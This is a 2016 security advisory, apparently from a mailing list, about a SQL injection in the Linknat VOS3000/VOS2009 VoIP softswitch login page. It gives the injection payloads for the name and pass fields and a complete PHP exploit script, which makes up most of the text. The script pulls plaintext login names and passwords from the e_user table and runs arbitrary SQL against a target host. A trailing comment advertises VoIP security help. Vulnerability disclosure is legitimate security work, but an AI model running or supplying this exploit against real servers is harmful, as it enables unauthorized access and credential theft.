Linknat VOS2009/VOS3000 SQL injection
From: Osama Khalid <osama () codinghazard com>
Date: Thu, 19 May 2016 16:52:54 +0500
A SQL injection was found in Linknat VOS3000/VOS2009, a popular VoIP softswitch, that could allow remote attackers to gain access to the credentials stored in plain-text. Application: Linknat VOS3000/VOS2009 Versions Affected: 2.1.1.5, 2.1.1.8, 2.1.2.0 Vendor URL: http://www.linknat.com/ Bug: SQLi (with DBA privileges) Type: Remote Resolution: Fixed, upgrade to 2.1.2.4 or 2.1.6.0 Clean Version Reference: WooYun-2015-145458 - http://www.wooyun.org/bugs/wooyun-2010-0145458 The SQLi reported is time-based blind. Since it is not an in-band SQLi, the results can be gathered from the output of welcome.jsp during the same session. (1st request) POST http://target/eng/login.jsp PARAM loginType=1 name=' union select 1,2,@@version,'hello',5,6# pass=' OR ''=' (2nd request during the same session) GET http://target/eng/welcome.jsp RESULT 0|' union select 1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00| [ EXPLOIT CODE ] <?php # # Linknat VOS2009/VOS3000 SQLi exploit # # DISCLAIMER: The exploit is to be used for educational purposes only # The author would not be responsible for any misuse # # AUTHOR: Osama Khalid # WEBSITE: http://www.codinghazard.com/ # DATE: 19/05/2016 # REF: http://www.wooyun.org/bugs/wooyun-2010-0145458 if ($argc < 2) { banner(); usage(); exit; } $host = $argv[1]; $column_one = isset($argv[2]) ? $argv[2] : "loginname"; $column_two = isset($argv[3]) ? $argv[3] : "password"; $table = isset($argv[4]) ? $argv[4] : "e_user"; $other = isset($argv[5]) ? $argv[5] : ""; function banner() { echo "########################################\n"; echo "# #\n"; echo "# Linknat VOS3000/VOS2009 SQLi exploit #\n"; echo "# #\n"; echo "# Osama Khalid #\n"; echo "########### codinghazard.com ###########\n"; } function usage() { echo "\n"; echo "php vos3000.php [HOST]\n"; echo "php vos3000.php 127.0.0.1\n"; echo "php vos3000.php [HOST] [COL1] [COL2] [TABLE] [OTHER SQL]\n"; echo "php vos3000.php 127.0.0.1 table_schema table_name information_schema.tables \"where table_schema = 'mysql'\" \n"; } function curl($url, $post = array(), $cookies = null, $header = false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_HEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($cookies != null) curl_setopt($curl, CURLOPT_COOKIE, $cookies); if (count($post) > 0) { foreach ( $post as $key => $value) $post_items[] = $key . '=' . urlencode($value); $post_string = implode('&', $post_items); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string); } $data = curl_exec($curl); curl_close($curl); return $data; } function query($host, $query) { $data = curl("http://$host/eng/login.jsp";, array( "loginType" => 1, "name" => "' union " . $query . "#", "pass" => "' OR ''='" ), null, true); preg_match_all('|Set-Cookie: (.*);|U', $data, $matches); $cookies = implode('; ', $matches[1]); $data = curl("http://$host/eng/welcome.jsp";, array(), $cookies, false); $parts = explode("|", trim($data)); if (count($parts) < 7) return false; return array($parts[3], $parts[4]); } function ascii_table($data) { $keys = array_keys(end($data)); $wid = array_map('strlen', $keys); foreach($data as $row) { foreach(array_values($row) as $k => $v) $wid[$k] = max($wid[$k], strlen($v)); } foreach($wid as $k => $v) { $fmt[$k] = "%-{$v}s"; $sep[$k] = str_repeat('-', $v); } $fmt = '| ' . implode(' | ', $fmt) . ' |'; $sep = '+-' . implode('-+-', $sep) . '-+'; $buf = array($sep, vsprintf($fmt, $keys), $sep); foreach($data as $row) { $buf[] = vsprintf($fmt, $row); $buf[] = $sep; } return implode("\n", $buf); } banner(); echo "\n"; echo "Target: $host\n"; echo "Column #1: $column_one\n"; echo "Column #2: $column_two\n"; echo "Table: $table\n"; echo "Other: $other\n"; echo "\n"; $results = array(); $count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table $other"); if ($count_result) { $count = intval($count_result[0]); echo "Found $count rows...\n"; for ($i=0; $i<$count; $i++) { $q = "SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table $other LIMIT " . $i . ",1"; $result = query($host, $q); if ($result) { echo "R" . ($i+1) . "]\t" . $column_one . " = " . hex2bin($result[0]) . ", " . $column_two . " = " . hex2bin($result[1]) . "\n"; } else { echo "Error retrieving row " . ($i+1) . "\n"; } $results[] = array($column_one => hex2bin($result[0]), $column_two => hex2bin($result[1])); } if (count($results) > 0) { echo "\n\n" . ascii_table($results) . "\n"; } } else { echo "Error retrieving row count"; } ?>
From 2016 People using some sql injection soft wares to hack VOS3000, We have our own security system from that time, we updated our security system too strong now, my work focus was always for security for voip soft-switch. Most of the time i gave free advice or shared information as much possible free of cost. Still there are lots of dirty things running around, so please be careful always and know more. Otherwise you will never able to do good business ever. Now-a-days People using hidden scripts or malwares in VOS3000 Client software to hack VOS Server.
For More Help Knock me in whatsapp: +8801911119966 – i will do help all the ways.
